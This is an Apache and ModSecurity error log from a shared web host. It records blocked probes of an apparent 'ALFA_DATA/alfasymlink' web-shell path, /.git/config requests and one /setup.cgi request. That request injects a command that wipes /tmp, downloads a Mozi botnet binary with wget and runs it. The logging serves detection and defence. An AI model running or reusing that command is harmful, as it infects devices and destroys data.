[Sat Oct 24 23:38:38.137450 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 54.235.158.162:32718] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:38:46.286299 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.210.114.189:54440] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:38:49.690397 2026] [security2:error] [pid 2756401:tid 2756401] [client 43.153.62.161:53280] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at15yRo0KJBZMthIo5LYkwAAAAk"]
[Sat Oct 24 23:38:49.691390 2026] [authz_core:error] [pid 2756401:tid 2756401] [client 43.153.62.161:53280] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 23:38:50.249899 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 34.225.24.180:21255] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:39:00.175698 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 185.191.171.15:11362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/objs_per_slab
[Sat Oct 24 23:39:14.070926 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 185.191.171.19:56824] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/sm-notify.pid
[Sat Oct 24 23:39:14.128299 2026] [core:error] [pid 2756441:tid 2756441] (13)Permission denied: [client 52.45.29.57:7347] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/pcieport/bind
[Sat Oct 24 23:39:22.142545 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 52.45.15.233:30588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:39:26.134675 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 54.235.158.162:60352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:39:30.137098 2026] [ssl:error] [pid 2749302:tid 2749302] (5)Input/output error: [client 18.213.27.222:14399] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:39:34.127261 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 35.169.240.53:11174] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:39:46.282674 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 23.21.250.48:57689] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:39:49.888788 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 185.191.171.2:12282] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:39:50.172078 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 34.205.163.103:30064] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:39:54.273019 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 54.166.126.132:33003] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/tpm_tis/unbind
[Sat Oct 24 23:40:03.078377 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 85.208.96.206:25986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/red_zone
[Sat Oct 24 23:40:26.150592 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 18.215.24.66:24055] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:40:30.120553 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 184.72.95.195:16599] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:40:34.147391 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 184.73.47.24:22686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:40:46.316967 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 34.193.2.57:63864] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:40:50.129499 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 34.197.28.78:40943] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/pcieport/unbind
[Sat Oct 24 23:40:54.327156 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 52.44.229.124:29095] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:41:02.286991 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.222.85.38:5379] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:41:06.207408 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 98.82.66.172:25055] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:41:06.605247 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 85.208.96.205:42052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/cpu_slabs
[Sat Oct 24 23:41:10.239752 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 52.0.63.151:23100] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:41:34.135289 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 44.221.105.234:48939] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:41:49.486032 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 185.191.171.13:20646] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:41:54.134105 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 100.29.63.24:19642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/physical_node/resource0
[Sat Oct 24 23:41:58.161441 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 52.4.238.8:49575] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:42:02.169919 2026] [ssl:error] [pid 2749120:tid 2749120] (6)No such device or address: [client 23.21.227.240:25705] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:42:10.141181 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 18.213.27.222:32686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:42:30.145744 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.1.157.90:57498] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:42:38.139920 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 3.232.102.111:3478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:42:42.135177 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 54.164.106.236:11988] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:42:48.313847 2026] [core:error] [pid 2756441:tid 2756441] (13)Permission denied: [client 85.208.96.195:46958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/trace
[Sat Oct 24 23:42:50.139663 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 98.82.40.168:42173] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:42:58.133285 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 35.171.117.160:43737] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:43:15.514763 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 100.29.34.97:38295] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/ttyS1/uartclk
[Sat Oct 24 23:43:18.137620 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 34.193.2.57:38364] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:43:34.131110 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 50.16.248.61:46328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:43:42.139081 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 18.215.24.66:26429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:43:46.135923 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.220.2.97:18708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:43:46.591921 2026] [core:error] [pid 2756441:tid 2756441] (13)Permission denied: [client 185.191.171.8:54124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-32/partial
[Sat Oct 24 23:43:48.654505 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 85.208.96.210:49904] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:43:54.265268 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 98.83.178.66:42005] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:44:02.329992 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.21.62.139:47056] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:44:04.789374 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 185.191.171.14:50496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/min_partial
[Sat Oct 24 23:44:09.433207 2026] [core:error] [pid 2748410:tid 2748410] (13)Permission denied: [client 16.216.88.102:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sbin/csf
[Sat Oct 24 23:44:22.244494 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 54.210.152.179:27236] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:44:26.311601 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 44.214.19.8:5735] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:44:30.666662 2026] [core:crit] [pid 2749302:tid 2749302] (13)Permission denied: [client 43.162.103.165:60998] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 23:44:31.672310 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 185.191.171.12:52432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/aliases
[Sat Oct 24 23:44:34.128644 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 35.153.86.200:20062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/port
[Sat Oct 24 23:44:38.218833 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.221.105.234:57603] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:44:42.152926 2026] [core:error] [pid 2756441:tid 2756441] (13)Permission denied: [client 107.23.62.75:59282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/node0/compact
[Sat Oct 24 23:44:46.217888 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 98.82.107.102:54824] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:44:50.183041 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 3.226.34.98:11708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:44:54.185051 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 3.219.81.66:27030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/dw_dmac_pci/remove_id
[Sat Oct 24 23:44:58.586155 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 185.191.171.8:26200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/slabs
[Sat Oct 24 23:45:10.136354 2026] [ssl:error] [pid 2749160:tid 2749160] (5)Input/output error: [client 44.206.65.8:64046] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:45:21.610821 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 185.191.171.11:30368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:45:26.133600 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.3.26.180:3236] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:45:27.926538 2026] [security2:error] [pid 2756441:tid 2756441] [client 103.213.112.11:22850] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/setup.cgi"] [unique_id "at17V7zuwN-7-5ch90SE2wAAAAo"]
[Sat Oct 24 23:45:27.927809 2026] [security2:error] [pid 2756441:tid 2756441] [client 103.213.112.11:22850] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'nc' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "43"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: nc found within ARGS:cmd: rm -rf /tmp/*;wget http://192.168.1.1:8088/Mozi.m -O /tmp/netgear;sh netgear"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "server.sherwinpinturas.com"] [uri "/setup.cgi"] [unique_id "at17V7zuwN-7-5ch90SE2wAAAAo"]
[Sat Oct 24 23:45:27.933886 2026] [security2:error] [pid 2756441:tid 2756441] [client 103.213.112.11:22850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "server.sherwinpinturas.com"] [uri "/setup.cgi"] [unique_id "at17V7zuwN-7-5ch90SE2wAAAAo"]
[Sat Oct 24 23:45:27.944424 2026] [security2:error] [pid 2756441:tid 2756441] [client 103.213.112.11:22850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): SQL Injection Attack Detected via libinjection"] [tag "event-correlation"] [hostname "server.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "at17V7zuwN-7-5ch90SE2wAAAAo"]
[Sat Oct 24 23:45:29.192454 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 185.191.171.4:14650] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:45:42.129359 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.71.203.206:35258] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:45:49.288034 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 185.191.171.9:27168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/slabs
[Sat Oct 24 23:46:10.116712 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 34.225.24.180:20595] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/device:03/wakeup/wakeup3/subsystem/wakeup9/device/driver/bind
[Sat Oct 24 23:46:12.353321 2026] [security2:error] [pid 2749138:tid 2749138] [client 34.182.232.43:52226] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at17hKcu9k8aHz4uSmmpxwAAAAU"]
[Sat Oct 24 23:46:12.353598 2026] [security2:error] [pid 2749138:tid 2749138] [client 34.182.232.43:52226] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at17hKcu9k8aHz4uSmmpxwAAAAU"]
[Sat Oct 24 23:46:12.353921 2026] [security2:error] [pid 2749138:tid 2749138] [client 34.182.232.43:52226] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at17hKcu9k8aHz4uSmmpxwAAAAU"]
[Sat Oct 24 23:46:12.354211 2026] [security2:error] [pid 2749138:tid 2749138] [client 34.182.232.43:52226] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at17hKcu9k8aHz4uSmmpxwAAAAU"]
[Sat Oct 24 23:46:14.132829 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 18.235.81.246:46908] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:46:18.150230 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 34.234.197.175:6261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:46:22.111422 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 54.235.172.108:63573] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:46:26.118571 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 44.210.213.220:5749] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:46:30.138622 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 44.205.192.249:33325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:46:38.137231 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 44.218.6.93:54899] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:46:50.160992 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 23.21.175.228:27118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/driver/uevent
[Sat Oct 24 23:46:58.137215 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 44.210.213.220:10918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/piix4_smbus/unbind
[Sat Oct 24 23:47:02.148657 2026] [ssl:error] [pid 2749302:tid 2749302] (5)Input/output error: [client 18.215.24.66:1949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:47:05.802121 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 85.208.96.204:55378] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:47:30.167826 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 34.199.252.22:1278] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:47:32.845082 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 85.208.96.209:41744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:47:50.214778 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.194.139.149:41792] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:47:54.155787 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 98.83.10.183:25952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:47:58.720117 2026] [security2:error] [pid 2748406:tid 2748406] [client 85.208.96.210:25432] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/rear.conf"] [unique_id "at177jBA89jTW6EoHYFyBAAAAAM"]
[Sat Oct 24 23:47:58.720521 2026] [security2:error] [pid 2748406:tid 2748406] [client 85.208.96.210:25432] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/rear.conf"] [unique_id "at177jBA89jTW6EoHYFyBAAAAAM"]
[Sat Oct 24 23:47:58.720993 2026] [security2:error] [pid 2748406:tid 2748406] [client 85.208.96.210:25432] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/rear.conf"] [unique_id "at177jBA89jTW6EoHYFyBAAAAAM"]
[Sat Oct 24 23:48:06.283408 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 54.156.55.147:33303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:48:18.340922 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 3.221.244.28:57767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:48:23.536531 2026] [core:error] [pid 2756401:tid 2756401] (13)Permission denied: [client 185.191.171.4:17450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/shrink
[Sat Oct 24 23:48:30.166441 2026] [ssl:error] [pid 2749302:tid 2749302] (5)Input/output error: [client 18.232.11.247:50728] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:48:43.009799 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.231.193.38:31055] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:48:58.217628 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 52.44.148.203:42278] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:49:02.147058 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.5.242.243:2729] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:49:10.173152 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 23.23.214.190:9400] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:49:15.827419 2026] [security2:error] [pid 2756441:tid 2756441] [client 185.191.171.2:44422] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] 